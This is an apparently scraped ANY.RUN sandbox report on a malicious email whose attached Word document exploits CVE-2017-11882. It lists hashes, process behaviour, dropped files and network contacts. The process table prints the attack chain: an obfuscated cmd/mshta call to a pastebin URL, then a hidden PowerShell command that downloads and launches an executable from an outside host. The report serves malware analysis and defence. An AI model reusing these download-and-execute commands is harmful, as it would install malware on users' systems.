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File name:

43kmtj46DnzR1nw.eml

Full analysis: https://app.any.run/tasks/a6c66e81-b25d-404f-8d30-9e946ec95b94
Verdict: Malicious activity
Analysis date: January 23, 2019, 10:10:16
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
exploit
CVE-2017-11882
Indicators:
MIME: message/rfc822
File info: RFC 822 mail, ASCII text
MD5:

78F23EBA15B7FC7A6BC11C13F8801C96

SHA1:

9D224C96DFC43971CECA90648DED6084A6B4FAB9

SHA256:

55B0163E69C738C5B909CC0FA1C591FB0ECDC75FCC460172DB45F169E1BA097C

SSDEEP:

3072:sD431r7XVc/VqL2QP7Q6lF6JHnO/0Y+Dy+ln8GHPgHjN:sDu1rZc/VqL2QP7Qaoztl8GHPgHjN

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Equation Editor starts application (CVE-2017-11882)

      • EQNEDT32.EXE (PID: 3676)

    • Executes PowerShell scripts

      • mshta.exe (PID: 2984)

    • Application was dropped or rewritten from another process

      • KRQVHK.Exe (PID: 3356)
      • KRQVHK.Exe (PID: 3012)

  • SUSPICIOUS

    • Creates files in the user directory

      • OUTLOOK.EXE (PID: 3412)
      • mshta.exe (PID: 2984)
      • powershell.exe (PID: 3248)

    • Starts MSHTA.EXE for opening HTA or HTMLS files

      • cMd.exe (PID: 2464)

    • Reads Internet Cache Settings

      • OUTLOOK.EXE (PID: 3412)

    • Starts CMD.EXE for commands execution

      • EQNEDT32.EXE (PID: 3676)

    • Executable content was dropped or overwritten

      • powershell.exe (PID: 3248)

    • Application launched itself

      • KRQVHK.Exe (PID: 3356)

  • INFO

    • Reads internet explorer settings

      • mshta.exe (PID: 2984)

    • Creates files in the user directory

      • WINWORD.EXE (PID: 2432)

    • Reads Microsoft Office registry keys

      • WINWORD.EXE (PID: 2432)
      • OUTLOOK.EXE (PID: 3412)

    • Application was crashed

      • EQNEDT32.EXE (PID: 3676)

    • Reads settings of System Certificates

      • powershell.exe (PID: 3248)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report
No Malware configuration.

TRiD

.eml | E-Mail message (Var. 5) (100)
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
43
Monitored processes
8
Malicious processes
3
Suspicious processes
0

Behavior graph

Click at the process to see the details
start drop and start outlook.exe winword.exe no specs eqnedt32.exe cmd.exe no specs mshta.exe powershell.exe krqvhk.exe no specs krqvhk.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
3412"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE" /eml "C:\Users\admin\AppData\Local\Temp\43kmtj46DnzR1nw.eml"C:\PROGRA~1\MICROS~1\Office14\OUTLOOK.EXE
explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Outlook
Version:
14.0.6025.1000
2432"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\admin\Desktop\Docs GEFCO -# 850858001894.doc"C:\Program Files\Microsoft Office\Office14\WINWORD.EXE—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft Word
Version:
14.0.6024.1000
3676"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -EmbeddingC:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
svchost.exe
User:
admin
Company:
Design Science, Inc.
Integrity Level:
MEDIUM
Description:
Microsoft Equation Editor
Exit code:
0
Version:
00110900
2464cMd /C mS^Ht^a ht^tp^s:^/^/pastebin.com/raw/H28nZ13UC:\Windows\system32\cMd.exe—EQNEDT32.EXE
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Command Processor
Exit code:
0
Version:
6.1.7601.17514 (win7sp1_rtm.101119-1850)
2984mSHta https://pastebin.com/raw/H28nZ13UC:\Windows\system32\mshta.exe
cMd.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Microsoft (R) HTML Application host
Exit code:
0
Version:
8.00.7600.16385 (win7_rtm.090713-1255)
3248"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -executionpolicy bypass -W Hidden -command (new-object System.Net.WebClient).DownloadFile('https://my.mixtape.moe/ishowl.htaa',$env:Temp+'\KRQVHK.Exe');(New-Object -com Shell.Application).ShellExecute($env:Temp+'\KRQVHK.Exe')C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
mshta.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows PowerShell
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
3356"C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe" C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe—powershell.exe
User:
admin
Company:
WIMPS3
Integrity Level:
MEDIUM
Exit code:
0
Version:
4.05.0007
3012C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe" C:\Users\admin\AppData\Local\Temp\KRQVHK.Exe—KRQVHK.Exe
User:
admin
Company:
WIMPS3
Integrity Level:
MEDIUM
Version:
4.05.0007
Total events
3 209
Read events
2 042
Write events
0
Delete events
0

Modification events

No data
Executable files
1
Suspicious files
4
Text files
29
Unknown types
5

Dropped files

PID
Process
Filename
Type
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\CVR8870.tmp.cvr —
MD5:—
SHA256:—
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Temp\tmp8A55.tmp —
MD5:—
SHA256:—
2432WINWORD.EXEC:\Users\admin\AppData\Local\Temp\CVRB06A.tmp.cvr —
MD5:—
SHA256:—
3248powershell.exeC:\Users\admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Y0982TFDFIB73TXW6FGO.temp —
MD5:—
SHA256:—
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.MSO\ED46B34B.dathtml
MD5:9F37397021A8F399805924A6572965C8
SHA256:91D2BABFEDBBD3A617BE8305131E20DBA8558B0A58B35A526F5E6E9AB79A3994
3412OUTLOOK.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$rmalEmail.dotmpgc
MD5:28DBF24424F1EEFCD02C935A89AEF309
SHA256:2C1A0F0FD20A634461ADCC666B18E6A06BBDBB1D804CA1D3FF50181DF96745FD
2432WINWORD.EXEC:\Users\admin\AppData\Roaming\Microsoft\Templates\~$Normal.dotmpgc
MD5:8D5379BB1D808BAF6E77F483F2391972
SHA256:D05F6A37BD7921FA5CE0D54397C785954A8084198C60CD502269D7AD85EA6430
2432WINWORD.EXEC:\Users\admin\Desktop\~$cs GEFCO -# 850858001894.docpgc
MD5:553FFECBCA713710E5EDBA5F4DA25EF0
SHA256:01451D14824B024D444C0476976ECCED3CDC1CF9172F505D52251BB92F436B22
2984mshta.exeC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\RB73MZ6Y\H28nZ13U[1].txthtml
MD5:8F4FFB6F584001DE4860061D1FC275BA
SHA256:05D62A19FF1A2DE1C61C22DDF39B9D1D7B9064B5465C089E1A3801BE29B8F01D
3412OUTLOOK.EXEC:\Users\admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Outlook\R8MAS2CW\Docs GEFCO -# 850858001894.docbinary
MD5:06D038309382522DBD13574FDDC26793
SHA256:6583482CE262A237FC248E8E0B9EB52581FAC1865996BE77850615B2BB016DA0
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
1
TCP/UDP connections
3
DNS requests
3
Threats
0

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
3412
OUTLOOK.EXE
GET
—
64.4.26.155:80
http://config.messenger.msn.com/config/msgrconfig.asmx?op=GetOlcConfig
US
—
—
whitelisted
Download PCAP, analyze network streams, HTTP content and a lot more at the full report

Connections

PID
Process
IP
Domain
ASN
CN
Reputation
2984
mshta.exe
104.20.208.21:443
pastebin.com
Cloudflare Inc
US
shared
3412
OUTLOOK.EXE
64.4.26.155:80
config.messenger.msn.com
Microsoft Corporation
US
whitelisted
3248
powershell.exe
206.81.100.99:443
my.mixtape.moe
NapaNet
US
suspicious

DNS requests

Domain
IP
Reputation
config.messenger.msn.com
  • 64.4.26.155
whitelisted
pastebin.com
  • 104.20.208.21
  • 104.20.209.21
shared
my.mixtape.moe
  • 206.81.100.99
unknown

Threats

Found threats are available for the paid subscriptions
3 ETPRO signatures available at the full report
No debug info
Interactive malware hunting service ANY.RUN
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43kmtj46DnzR1nw.eml